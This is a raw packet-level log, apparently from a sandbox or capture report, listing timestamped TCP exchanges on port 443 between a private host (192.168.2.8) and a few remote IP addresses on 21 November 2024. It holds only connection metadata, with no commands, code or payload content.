Nov 21, 2024 19:59:38.802983999 CET	443	49859	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.803003073 CET	49859	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.803009987 CET	443	49859	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.807452917 CET	49864	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.807491064 CET	443	49864	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.807568073 CET	49864	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.807826996 CET	49864	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.807852983 CET	443	49864	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.872991085 CET	443	49860	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.873060942 CET	443	49860	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.873117924 CET	49860	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.873379946 CET	49860	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.873399973 CET	443	49860	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.873409986 CET	49860	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.873416901 CET	443	49860	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.877043962 CET	49865	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.877099037 CET	443	49865	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.877177000 CET	49865	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.877346039 CET	49865	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.877362967 CET	443	49865	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.362174034 CET	443	49861	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.362811089 CET	49861	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.362842083 CET	443	49861	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.363379002 CET	49861	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.363384962 CET	443	49861	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.428700924 CET	443	49862	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.429409981 CET	49862	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.429452896 CET	443	49862	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.429913998 CET	49862	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.429922104 CET	443	49862	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.512706041 CET	443	49863	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.514434099 CET	49863	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.514456987 CET	443	49863	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.514924049 CET	49863	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.514928102 CET	443	49863	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.660017967 CET	443	49864	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.660639048 CET	49864	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.660660982 CET	443	49864	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.661094904 CET	49864	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.661099911 CET	443	49864	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.725596905 CET	443	49865	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.726308107 CET	49865	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.726332903 CET	443	49865	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.726891041 CET	49865	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.726897001 CET	443	49865	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.826637983 CET	443	49861	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.826709986 CET	443	49861	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.827018023 CET	49861	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.827049017 CET	49861	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.827063084 CET	443	49861	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.827073097 CET	49861	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.827078104 CET	443	49861	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.830223083 CET	49866	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.830269098 CET	443	49866	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.830344915 CET	49866	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.830488920 CET	49866	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.830506086 CET	443	49866	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.867868900 CET	443	49862	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.868022919 CET	443	49862	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.868144035 CET	49862	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.868182898 CET	49862	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.868205070 CET	443	49862	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.868217945 CET	49862	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.868225098 CET	443	49862	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.870635033 CET	49867	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.870668888 CET	443	49867	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.870734930 CET	49867	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.870846033 CET	49867	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.870856047 CET	443	49867	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.885571003 CET	49817	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:59:40.885591984 CET	443	49817	104.70.121.146	192.168.2.8
Nov 21, 2024 19:59:40.885667086 CET	49818	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:59:40.885679007 CET	443	49818	104.70.121.146	192.168.2.8
Nov 21, 2024 19:59:40.976972103 CET	443	49863	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.977123022 CET	443	49863	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.977191925 CET	49863	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.977394104 CET	49863	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.977404118 CET	443	49863	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.977413893 CET	49863	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.977417946 CET	443	49863	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.980885983 CET	49868	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.980917931 CET	443	49868	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:40.981178999 CET	49868	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.981178999 CET	49868	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:40.981224060 CET	443	49868	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:41.106509924 CET	443	49864	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:41.106607914 CET	443	49864	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:41.106661081 CET	49864	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:41.106873989 CET	49864	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:41.106895924 CET	443	49864	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:41.106908083 CET	49864	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:41.106914043 CET	443	49864	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:41.110148907 CET	49869	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:41.110205889 CET	443	49869	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:41.110291004 CET	49869	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:41.110435963 CET	49869	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:41.110452890 CET	443	49869	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:41.234088898 CET	49870	443	192.168.2.8	104.70.121.138
Nov 21, 2024 19:59:41.234114885 CET	443	49870	104.70.121.138	192.168.2.8
Nov 21, 2024 19:59:41.234225988 CET	49870	443	192.168.2.8	104.70.121.138
Nov 21, 2024 19:59:41.234551907 CET	49870	443	192.168.2.8	104.70.121.138
Nov 21, 2024 19:59:41.234574080 CET	443	49870	104.70.121.138	192.168.2.8
Nov 21, 2024 19:59:41.236329079 CET	443	49865	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:41.236388922 CET	443	49865	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:41.236437082 CET	49865	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:41.236665964 CET	49865	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:41.236675978 CET	443	49865	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:41.236689091 CET	49865	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:41.236694098 CET	443	49865	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:41.239975929 CET	49871	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:41.239999056 CET	443	49871	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:41.240072966 CET	49871	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:41.240251064 CET	49871	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:41.240266085 CET	443	49871	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:42.459044933 CET	443	49870	104.70.121.138	192.168.2.8
Nov 21, 2024 19:59:42.459577084 CET	49870	443	192.168.2.8	104.70.121.138
Nov 21, 2024 19:59:42.459594011 CET	443	49870	104.70.121.138	192.168.2.8
Nov 21, 2024 19:59:42.460649967 CET	443	49870	104.70.121.138	192.168.2.8
Nov 21, 2024 19:59:42.460793972 CET	49870	443	192.168.2.8	104.70.121.138
Nov 21, 2024 19:59:42.461110115 CET	49870	443	192.168.2.8	104.70.121.138
Nov 21, 2024 19:59:42.461186886 CET	443	49870	104.70.121.138	192.168.2.8
Nov 21, 2024 19:59:42.505902052 CET	49870	443	192.168.2.8	104.70.121.138
Nov 21, 2024 19:59:42.505917072 CET	443	49870	104.70.121.138	192.168.2.8
Nov 21, 2024 19:59:42.552704096 CET	49870	443	192.168.2.8	104.70.121.138
Nov 21, 2024 19:59:42.621881008 CET	443	49866	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:42.622575998 CET	49866	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:42.622603893 CET	443	49866	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:42.623106956 CET	49866	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:42.623112917 CET	443	49866	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:42.729269981 CET	443	49867	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:42.730022907 CET	49867	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:42.730050087 CET	443	49867	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:42.730535984 CET	49867	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:42.730542898 CET	443	49867	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:42.776987076 CET	443	49868	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:42.777663946 CET	49868	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:42.777683973 CET	443	49868	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:42.778217077 CET	49868	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:42.778223991 CET	443	49868	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:42.952358007 CET	443	49869	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:42.953109980 CET	49869	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:42.953121901 CET	443	49869	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:42.953649998 CET	49869	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:42.953655005 CET	443	49869	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.066169977 CET	443	49866	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.066246986 CET	443	49866	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.066323996 CET	49866	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.066562891 CET	49866	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.066581011 CET	443	49866	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.066591024 CET	49866	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.066597939 CET	443	49866	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.069848061 CET	49872	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.069894075 CET	443	49872	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.069982052 CET	49872	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.070116997 CET	49872	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.070130110 CET	443	49872	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.148904085 CET	443	49871	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.149637938 CET	49871	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.149658918 CET	443	49871	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.150163889 CET	49871	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.150171041 CET	443	49871	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.304713011 CET	443	49868	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.304867029 CET	443	49868	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.304935932 CET	49868	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.305267096 CET	49868	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.305267096 CET	49868	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.305298090 CET	443	49868	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.305309057 CET	443	49868	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.309127092 CET	49873	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.309163094 CET	443	49873	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.309258938 CET	49873	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.309458971 CET	49873	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.309474945 CET	443	49873	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.313802004 CET	443	49867	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.313956976 CET	443	49867	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.314018011 CET	49867	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.314053059 CET	49867	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.314078093 CET	443	49867	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.314094067 CET	49867	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.314100027 CET	443	49867	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.316282034 CET	49874	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.316303015 CET	443	49874	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.316382885 CET	49874	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.316495895 CET	49874	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.316509008 CET	443	49874	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.560436010 CET	443	49869	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.560621977 CET	443	49869	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.560683966 CET	49869	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.560801029 CET	49869	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.560821056 CET	443	49869	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.560831070 CET	49869	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.560837984 CET	443	49869	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.564034939 CET	49875	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.564074993 CET	443	49875	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.564157963 CET	49875	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.564363956 CET	49875	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.564378023 CET	443	49875	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.628166914 CET	443	49871	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.628241062 CET	443	49871	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.628290892 CET	49871	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.628499031 CET	49871	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.628509998 CET	443	49871	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.628515005 CET	49871	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.628519058 CET	443	49871	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.631618977 CET	49876	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.631642103 CET	443	49876	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:43.631726027 CET	49876	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.631850004 CET	49876	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:43.631863117 CET	443	49876	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:44.916872978 CET	443	49872	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:44.917476892 CET	49872	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:44.917506933 CET	443	49872	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:44.917964935 CET	49872	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:44.917977095 CET	443	49872	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.047211885 CET	443	49873	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.047930002 CET	49873	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.047956944 CET	443	49873	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.048376083 CET	49873	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.048382044 CET	443	49873	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.186855078 CET	443	49874	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.187558889 CET	49874	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.187582970 CET	443	49874	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.188079119 CET	49874	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.188085079 CET	443	49874	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.363822937 CET	443	49875	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.364844084 CET	49875	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.364861012 CET	443	49875	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.365382910 CET	49875	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.365386963 CET	443	49875	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.367697954 CET	443	49872	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.367866039 CET	443	49872	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.367953062 CET	49872	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.368046045 CET	49872	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.368072987 CET	443	49872	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.368086100 CET	49872	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.368093014 CET	443	49872	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.371573925 CET	49877	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.371618986 CET	443	49877	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.371740103 CET	49877	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.371912003 CET	49877	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.371928930 CET	443	49877	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.487644911 CET	443	49873	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.487729073 CET	443	49873	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.487828970 CET	49873	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.488018990 CET	49873	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.488018990 CET	49873	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.488048077 CET	443	49873	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.488059998 CET	443	49873	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.492484093 CET	49878	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.492544889 CET	443	49878	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.492609024 CET	49878	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.492796898 CET	49878	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.492813110 CET	443	49878	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.502578020 CET	443	49876	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.503385067 CET	49876	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.503407955 CET	443	49876	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.503896952 CET	49876	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.503904104 CET	443	49876	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.641376019 CET	443	49874	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.641546965 CET	443	49874	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.641628981 CET	49874	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.641769886 CET	49874	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.641808987 CET	443	49874	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.641832113 CET	49874	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.641839981 CET	443	49874	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.644961119 CET	49879	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.644995928 CET	443	49879	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.645139933 CET	49879	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.645334959 CET	49879	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.645353079 CET	443	49879	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.807804108 CET	443	49875	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.807988882 CET	443	49875	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.808056116 CET	49875	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.808218002 CET	49875	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.808237076 CET	443	49875	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.808248043 CET	49875	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.808254004 CET	443	49875	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.811667919 CET	49880	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.811728954 CET	443	49880	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.811811924 CET	49880	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.812050104 CET	49880	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.812081099 CET	443	49880	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.955981016 CET	443	49876	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.956068993 CET	443	49876	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.956191063 CET	49876	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.956511974 CET	49876	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.956540108 CET	443	49876	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.956552029 CET	49876	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.956558943 CET	443	49876	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.960551977 CET	49881	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.960602999 CET	443	49881	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:45.960674047 CET	49881	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.960828066 CET	49881	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:45.960841894 CET	443	49881	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.119158030 CET	443	49877	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.119865894 CET	49877	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.119884968 CET	443	49877	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.120337963 CET	49877	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.120343924 CET	443	49877	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.223999023 CET	443	49878	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.231909990 CET	49878	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.231934071 CET	443	49878	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.232518911 CET	49878	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.232526064 CET	443	49878	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.246120930 CET	443	49879	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.246721029 CET	49879	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.246747017 CET	443	49879	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.247154951 CET	49879	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.247160912 CET	443	49879	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.556999922 CET	443	49877	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.557068110 CET	443	49877	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.557173967 CET	49877	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.557482958 CET	49877	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.557501078 CET	443	49877	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.557523966 CET	49877	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.557532072 CET	443	49877	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.561096907 CET	49884	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.561151981 CET	443	49884	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.561233044 CET	49884	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.561408043 CET	49884	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.561422110 CET	443	49884	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.602922916 CET	443	49880	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.603844881 CET	49880	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.603880882 CET	443	49880	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.604381084 CET	49880	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.604396105 CET	443	49880	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.659997940 CET	443	49878	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.660084009 CET	443	49878	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.660161972 CET	49878	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.660378933 CET	49878	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.660418034 CET	443	49878	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.660430908 CET	49878	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.660439014 CET	443	49878	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.664913893 CET	49885	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.664963961 CET	443	49885	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.665040016 CET	49885	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.665307999 CET	49885	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:47.665324926 CET	443	49885	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.689699888 CET	443	49879	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:47.689770937 CET	443	49879	13.107.246.63	192.168.2.8
